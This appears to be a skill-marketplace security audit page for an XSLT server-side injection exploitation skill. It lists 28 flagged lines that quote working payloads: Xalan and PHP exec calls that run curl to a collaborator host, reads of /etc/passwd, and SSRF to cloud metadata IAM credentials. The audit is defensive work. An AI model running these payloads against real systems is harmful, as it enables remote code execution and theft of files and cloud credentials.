Skip to main content

exploiting-xslt-server-side-injection

Demonstrates techniques for exploiting server-side XSLT injection vulnerabilities, enabling various attacks like SSRF and RCE.

Install this skill

or
0/100

Security score

The exploiting-xslt-server-side-injection skill was audited on Jun 14, 2026 and we found 28 security issues across 4 threat categories, including 4 critical. Review the findings below before installing.

Categories Tested

Security Issues

high line 84

Direct command execution function call

SourceSKILL.md
84<xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/>
high line 88

Direct command execution function call

SourceSKILL.md
88<xsl:value-of select="rt:exec($r,'bash -c id > /tmp/saxon_pwned')"/>
high line 120

Direct command execution function call

SourceSKILL.md
120Xalan -> java.lang.Runtime exec (Java extension namespace)
high line 189

Direct command execution function call

SourceSKILL.md
189| rt:exec(...,'curl COLLAB') | DNS/HTTP callback | RCE |
medium line 84

Curl to non-GitHub URL

SourceSKILL.md
84<xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/>
medium line 128

Curl to non-GitHub URL

SourceSKILL.md
128<xsl:value-of select="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/>
critical line 33

Access to /etc/passwd

SourceSKILL.md
33The biggest miss is stopping at generic XXE. **Fingerprint the processor first**, then switch to processor-specific primitives — a failed `document('/etc/passwd')` or failed Java call does NOT mean th
high line 46

Access to /etc/passwd

SourceSKILL.md
46<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
high line 47

Access to /etc/passwd

SourceSKILL.md
47<!-- libxslt: document() works for XML; /etc/passwd often FAILS because parsed as XML -->
high line 48

Access to /etc/passwd

SourceSKILL.md
48<xsl:value-of select="document('/etc/passwd')"/> <!-- may error -->
high line 51

Access to /etc/passwd

SourceSKILL.md
51<xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/>
high line 53

Access to /etc/passwd

SourceSKILL.md
53<!DOCTYPE x [<!ENTITY ext SYSTEM "file:///etc/passwd">]> ... &ext;
critical line 98

Access to /etc/passwd

SourceSKILL.md
98- **File read**: `/etc/passwd` content (regex `root:.*?:0:0:`) or target file bytes appear in the transformed output.
critical line 102

Access to /etc/passwd

SourceSKILL.md
102- Hardening is partial: `document('/etc/passwd')` failing on libxslt doesn't rule out `php:function`/SSRF; a blocked Java call on Saxon doesn't rule out `doc()`/`unparsed-text()`.
critical line 161

Access to /etc/passwd

SourceSKILL.md
161A reporting endpoint transforms user XML into a PDF with Saxon. Injecting `unparsed-text('/etc/passwd')` embeds the password file into the generated PDF.
high line 181

Access to /etc/passwd

SourceSKILL.md
1812. Submit unparsed-text('/etc/passwd') → /etc/passwd contents returned in output.
high line 188

Access to /etc/passwd

SourceSKILL.md
188| unparsed-text('/etc/passwd') | root:x:0:0:... | File read |
low line 58

External URL reference

SourceSKILL.md
58<xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/>
low line 59

External URL reference

SourceSKILL.md
59<xsl:include href="http://127.0.0.1:8000/xslt"/> <!-- include fetched BEFORE access control -->
low line 60

External URL reference

SourceSKILL.md
60<xsl:value-of select="document('http://example.com:22')"/> <!-- port probe -->
low line 66

External URL reference

SourceSKILL.md
66<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
low line 67

External URL reference

SourceSKILL.md
67xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
low line 81

External URL reference

SourceSKILL.md
81<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
low line 82

External URL reference

SourceSKILL.md
82xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
low line 84

External URL reference

SourceSKILL.md
84<xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/>
low line 99

External URL reference

SourceSKILL.md
99- **SSRF**: out-of-band callback hits your collaborator, OR `document('http://host:22')` returns a connect/timing difference per port.
low line 128

External URL reference

SourceSKILL.md
128<xsl:value-of select="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/>
low line 167

External URL reference

SourceSKILL.md
167A .NET converter blocks `msxsl:script` but `document('http://169.254.169.254/latest/meta-data/iam/security-credentials/')` succeeds, leaking cloud IAM credentials.
Scanned on Jun 14, 2026
View Security Dashboard
Installation guide →
GitHub Stars 606
Rate this skill
Categorydevelopment
UpdatedJune 15, 2026
security-engineerdevelopment
xalgord/xalgorix